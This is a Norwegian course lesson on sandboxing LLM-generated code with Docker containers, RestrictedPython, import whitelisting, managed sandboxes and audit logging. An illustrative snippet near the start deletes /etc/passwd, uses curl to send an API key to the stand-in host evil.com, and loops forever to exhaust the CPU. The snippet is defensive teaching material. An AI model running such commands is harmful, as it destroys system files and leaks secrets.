Sandkassing med Docker og RestrictedPython
Opprett isolerte kjøringsmiljøer med Docker-containere med ressursbegrensninger, nettverksisolasjon og skrivebeskyttede filsystemer for å kjøre uklarert, LLM-generert kode på en sikker måte.
Sandkassing med Docker og RestrictedPython er en gratis leksjon i AI Engineering Academy på CoddyKit. Dette er leksjon 2 av 4. Du kan lese hele leksjonen gratis nedenfor – og deretter øve praktisk i nettleseren med en innebygd kodeeditor og en AI-veileder som er tilgjengelig døgnet rundt. Den er en del av læringsløpet i AI Engineering Academy, og fremdriften din synkroniseres mellom nettet og CoddyKit-appen. Kurset i AI Engineering Academy inneholder totalt 4 leksjoner.
Hvorfor sandkassekjøring av kode er ufravikelig
LLM-generert kode kjører med de samme tillatelsene som prosessen som kaller den. En uforsiktig eller ondsinnet injisert kodebit kan slette filer, lese miljøvariabler som inneholder API-nøkler, sende nettverksforespørsler, bruke opp RAM eller CPU eller installere bakdører. Sandkassekjøring oppretter et isolert kjøringsmiljø som begrenser hva den genererte koden kan gjøre, og gjør kodekjøringsagenter tilstrekkelig sikre for produksjonsbruk.
# Example of dangerous code an LLM might generate
import os
import subprocess
# Without sandboxing, this runs with full host permissions:
os.remove('/etc/passwd') # deletes system file
subprocess.run(['curl', 'http://evil.com', '-d', os.environ['OPENAI_API_KEY']]) # exfiltrates secrets
while True: pass # exhausts CPU
# Sandboxing prevents ALL of thisDocker som sandkasse
Docker-containere er den mest praktiske sandkassen for LLM-generert kode i produksjon. Hver kodekjøring får en ny container som er bygget fra et minimalt image, med strenge ressursgrenser for CPU, minne og tid. Containeren har ingen tilgang til vertens filsystem (bortsett fra en uttrykkelig montert arbeidsmappe), og nettverkstilgang er deaktivert eller begrenset til en tillatelsesliste. Når kjøringen er fullført, slettes containeren.
import docker
import tempfile
import os
client = docker.from_env()
def execute_in_docker(code: str, timeout=30) -> tuple[str, str]:
# Write code to temp file
with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
f.write(code)
host_path = f.name
try:
container = client.containers.run(
image='python:3.11-slim', # minimal Python image
command=f'python /workspace/code.py',
volumes={host_path: {'bind': '/workspace/code.py', 'mode': 'ro'}},
mem_limit='256m', # max 256 MB RAM
cpu_period=100000,
cpu_quota=50000, # 50% of 1 CPU core
network_disabled=True, # no internet access
read_only=True, # read-only root filesystem
remove=True, # auto-delete container
timeout=timeout
)
return container.decode('utf-8'), ''
except docker.errors.ContainerError as e:
return '', e.stderr.decode('utf-8')
finally:
os.unlink(host_path)Ressursgrenser i Docker
Docker tilbyr finmaskede ressurskontroller for containere som kjører i sandkasse. De viktigste grensene som bør angis, er: mem_limit for å begrense minnet (for eksempel 256m), cpu_quota for å begrense CPU-tid, pids_limit for å forhindre fork-bomber og en timeout for å stoppe kode som henger. Uten disse grensene kan en dårlig skrevet eller ondsinnet kodebit krasje hele vertsmaskinen ved å bruke opp alle tilgjengelige ressurser.
sandbox_config = {
'image': 'code-sandbox:latest',
'mem_limit': '256m', # 256 MB max RAM
'memswap_limit': '256m', # no swap (prevents RAM expansion via swap)
'cpu_quota': 50000, # 50% of a CPU core
'cpu_period': 100000,
'pids_limit': 64, # max 64 processes (prevents fork bombs)
'network_disabled': True, # no network
'read_only': True, # read-only root filesystem
'tmpfs': {'/tmp': ''}, # writable /tmp in memory only
'security_opt': ['no-new-privileges'], # prevent privilege escalation
'cap_drop': ['ALL'], # drop all Linux capabilities
'remove': True, # auto-remove after execution
}Bygge et image for kodekjøring
Hvis De kjører kode i et minimalt python:3.11-slim-image, er ingen datavitenskapelige biblioteker tilgjengelige. Bygg et tilpasset sandkasse-image som forhåndsinstallerer pakkene kodeagentene Deres vanligvis trenger (pandas, numpy, matplotlib, scikit-learn), slik at de ikke trenger internettilgang for å installere pakker under kjøringen. Forhåndsinstallasjon gjør også kjøringen betydelig raskere.
# Dockerfile for code sandbox
# FROM python:3.11-slim
#
# RUN pip install --no-cache-dir \
# pandas==2.1.0 \
# numpy==1.25.0 \
# matplotlib==3.7.0 \
# scikit-learn==1.3.0 \
# requests==2.31.0 \
# beautifulsoup4==4.12.0
#
# # Create non-root user for extra security
# RUN useradd -m sandbox
# USER sandbox
#
# WORKDIR /workspace
# Build: docker build -t code-sandbox:latest .
# The agent uses this image for every executionRestrictedPython for sandkassekjøring i prosessen
RestrictedPython er et Python-bibliotek som kompilerer kode med sikkerhetsbegrensninger håndhevet på AST-nivå. Det blokkerer farlige innebygde funksjoner (exec, eval, __import__), begrenser attributtilgang og hindrer tilgang til dunder-metoder. RestrictedPython kjører i samme prosess (uten Docker-overhead), noe som gjør det mye raskere, men gir svakere isolasjon enn Docker og egner seg bedre for enkel kode med lav risiko.
from RestrictedPython import compile_restricted, safe_globals, safe_builtins
from RestrictedPython.Guards import safe_iter_unpack_sequence, guarded_getitem
def execute_restricted(code: str) -> dict:
# Compile with restrictions
byte_code = compile_restricted(code, '<string>', 'exec')
# Define a restricted global namespace
restricted_globals = {
'__builtins__': safe_builtins, # no exec, eval, __import__, open
'_getiter_': iter,
'_getitem_': guarded_getitem,
'_iter_unpack_sequence_': safe_iter_unpack_sequence,
'print': print, # allow print
}
local_vars = {}
exec(byte_code, restricted_globals, local_vars)
return local_vars
# Test
try:
result = execute_restricted('x = 2 + 2\nprint(x)')
except Exception as e:
print('Blocked:', e)Sammenligning av Docker og RestrictedPython
De to tilnærmingene til sandkassekjøring har ulike avveininger. Docker gir reell isolasjon på operativsystemnivå: hver kjøring er en separat prosess uten delt tilstand, og selv et forsøk på å utnytte kjernen begrenses til containeren. Ulempen er en oppstartskostnad på 0,5–2 sekunder per kjøring. RestrictedPython starter på millisekunder og krever ingen containerinfrastruktur, men gir langt svakere isolasjon og har kjente omgåelser for sofistikerte angripere.
# Decision guide
def choose_sandbox(requirements: dict) -> str:
if requirements.get('user_provided_code'): # untrusted third party code
return 'docker' # must use Docker for true isolation
if requirements.get('needs_filesystem_access'):
return 'docker' # Docker volumes are safer
if requirements.get('low_latency_critical'): # < 100ms per execution
return 'restrictedpython' # no container startup overhead
if requirements.get('llm_generated_internal_only'): # your own trusted agent
return 'restrictedpython' # acceptable risk, faster
return 'docker' # default to stronger isolation when in doubtTillate operasjoner med hvitelisting
Både Docker og RestrictedPython støtter hvitelisting: å tillate uttrykkelig bare operasjonene kodeagenten faktisk trenger, i stedet for å blokkere alt som er farlig. Tillat for eksempel operasjoner med pandas og numpy, men blokker subprocess, socket og os.system. Hvitelisting er en sikrere tilnærming enn svartelisting, fordi De ikke trenger å forutse alle mulige angrepsvektorer.
from RestrictedPython import safe_builtins
import pandas as pd
import numpy as np
# Whitelist approach: only provide what agents should use
ALLOWED_MODULES = {
'pandas': pd,
'numpy': np,
# NOT allowed: subprocess, socket, os, sys, importlib
}
def make_restricted_globals():
builtins = dict(safe_builtins) # safe subset of Python builtins
builtins['__import__'] = make_guarded_import(ALLOWED_MODULES)
return {'__builtins__': builtins, **ALLOWED_MODULES}
def make_guarded_import(allowed: dict):
def guarded_import(name, *args, **kwargs):
if name not in allowed:
raise ImportError(f'Import of {name} is not allowed in sandbox')
return allowed[name]
return guarded_importVedvarende arbeidsområdevolumer
En kodeagent trenger ofte å skrive mellomliggende filer (en renset CSV-fil, et generert diagram) som den neste kodeiterasjonen kan lese. Bruk et workspace-volum i Docker: en katalog på vertsmaskinen som monteres med lese- og skrivetilgang i containeren. Hver containerkjøring i samme økt deler dette volumet, slik at agenten kan bygge opp et arbeidsområde med filer på tvers av iterasjoner, mens rotfilsystemet i containeren forblir skrivebeskyttet.
import os
import tempfile
class AgentWorkspace:
def __init__(self):
self.dir = tempfile.mkdtemp(prefix='agent_workspace_')
os.chmod(self.dir, 0o755)
print(f'Workspace created: {self.dir}')
def get_docker_mount(self):
return {self.dir: {'bind': '/workspace', 'mode': 'rw'}}
def list_files(self):
return os.listdir(self.dir)
def cleanup(self):
import shutil
shutil.rmtree(self.dir)
print('Workspace cleaned up')
# Usage across iterations
workspace = AgentWorkspace()
for i, code in enumerate(agent_generated_code_iterations):
volumes = workspace.get_docker_mount()
output, err = execute_in_docker(code, volumes=volumes)
# Code in iteration 2 can read files written by iteration 1Sandboxing i skymiljøer
I produksjon ønsker man ofte å kjøre sandkasser for kode i skyen i stedet for på API-serveren. Tjenester som AWS Lambda (med begrenset VPC), containere i Google Cloud Run eller dedikerte sandkassetjenester som E2B (e2b.dev) tilbyr administrerte, isolerte kjøremiljøer. E2B er spesifikt utviklet for AI-kodeagenter og tilbyr en Python-sandkasse som starter raskt, med et enkelt API.
# E2B managed sandbox (e2b.dev)
from e2b_code_interpreter import Sandbox
def execute_with_e2b(code: str) -> tuple[str, str]:
with Sandbox() as sandbox:
execution = sandbox.run_code(code)
stdout = '\n'.join(execution.logs.stdout)
stderr = '\n'.join(execution.logs.stderr)
return stdout, stderr
# E2B handles: sandboxing, resource limits, network isolation
# Each sandbox starts in ~100ms and auto-expires after the session
output, error = execute_with_e2b('import pandas as pd\ndf = pd.DataFrame({"a": [1,2,3]})\nprint(df)')Overvåking og revisjonslogging
Selv med sandboxing bør De logge hver kodekjøring av hensyn til sikkerhetsrevisjon. Registrer: hele koden som ble sendt inn for kjøring, tidspunktet og varigheten for kjøringen, agentøkten og brukeren som utløste den, stdout/stderr-utdataene og eventuelle forsøkte sikkerhetsbrudd (blokkerte importer, overskridelse av ressursgrenser). Dette revisjonssporet er avgjørende for å undersøke uventet atferd og dokumentere etterlevelse.
import time
import hashlib
def audited_execute(code: str, agent_id: str, session_id: str) -> dict:
code_hash = hashlib.sha256(code.encode()).hexdigest()[:16]
start = time.time()
stdout, stderr = execute_in_docker(code)
audit_record = {
'agent_id': agent_id,
'session_id': session_id,
'code_hash': code_hash,
'code_preview': code[:200], # first 200 chars
'start_time': start,
'duration_ms': (time.time() - start) * 1000,
'had_error': bool(stderr),
'output_length': len(stdout)
}
write_audit_log(audit_record)
return {'stdout': stdout, 'stderr': stderr, 'audit': audit_record}Forsvar i dybden for kodeagenter
Ingen enkelt sandboxing-mekanisme er perfekt. Bruk forsvar i dybden: kombiner Docker-isolasjon med ressursgrenser, bruk en bruker som ikke er root inne i containeren, deaktiver nettverkstilgang, bruk et skrivebeskyttet rotfilsystem med en tmpfs for /tmp, kjør containeren i en separat VM eller skyfunksjon med lave privilegier, og overvåk kjøringen for unormalt ressursforbruk. Flere uavhengige lag innebærer at en omgåelse av ett lag ikke kompromitterer hele systemet.
Hurtigsjekk
Test forståelsen Deres av sandboxing for kodekjøring fra denne leksjonen.
Oppsummering av leksjonen
I denne leksjonen har De lært at Docker-sandboxing er gullstandarden for trygg kjøring av LLM-generert kode, ved hjelp av isolasjon på containernivå, ressursgrenser og nettverksbegrensninger, at RestrictedPython er et raskere, men svakere alternativ i samme prosess som egner seg for interne agenter med lav risiko, og at forsvar i dybden kombinerer flere beskyttelseslag fordi ingen enkeltmekanisme er tilstrekkelig. Neste tema er håndtering av tilstand på tvers av kodekjøringssteg.
Lær deg Python med en AI-veileder – gratis
Skriv og kjør ekte kode i nettleseren, få umiddelbar hjelp fra en AI-veileder som er tilgjengelig døgnet rundt, og fortsett der du slapp – på nettet eller i appen.
- Kurs
- 30
- Leksjoner
- 120
Ofte stilte spørsmål
Er leksjonen «Sandkassing med Docker og RestrictedPython» gratis?
Ja – hele teksten i «Sandkassing med Docker og RestrictedPython» er gratis å lese her på nettet. For å øve interaktivt med en innebygd kodeeditor og en AI-veileder som er tilgjengelig døgnet rundt, og for å låse opp resten av AI Engineering Academy-kurset, kan du oppgradere til CoddyKit PRO. Kurset i AI Engineering Academy inneholder totalt 4 leksjoner.
Hva lærer jeg i «Sandkassing med Docker og RestrictedPython»?
Opprett isolerte kjøringsmiljøer med Docker-containere med ressursbegrensninger, nettverksisolasjon og skrivebeskyttede filsystemer for å kjøre uklarert, LLM-generert kode på en sikker måte. Du øver på AI Engineering Academy med praktisk kode som du kjører direkte i nettleseren, mens en AI-veileder som er tilgjengelig døgnet rundt, svarer på spørsmålene dine mens du jobber deg gjennom leksjonen.
Trenger jeg erfaring for å begynne med AI Engineering Academy?
Ingen tidligere erfaring er nødvendig. AI Engineering Academy på CoddyKit er lagt opp for både nybegynnere og viderekomne, så De kan begynne her eller helt fra start og lære i Deres eget tempo. Dette er leksjon 2 av 4.
Hvor lang tid tar leksjonen «Sandkassing med Docker og RestrictedPython»?
De fleste CoddyKit-leksjoner tar omtrent 5–10 minutter. Hver leksjon er kort og interaktiv, slik at De gjør jevne fremskritt og kan fortsette akkurat der De slapp – både på nettet og i appen.
Kan jeg skrive og kjøre kode i denne AI Engineering Academy-leksjonen?
Ja. Alle AI Engineering Academy-leksjoner har en innebygd kodeeditor, slik at De kan skrive og kjøre ekte kode direkte i nettleseren og få umiddelbar tilbakemelding fra AI – uten lokal konfigurering.
Alle leksjonene i dette kurset
- Kodekjøringssløyfen
- Sandkassing med Docker og RestrictedPython
- Tilstandsbehandling på tvers av kjøringstrinn
- Bygge en dataanalyseagent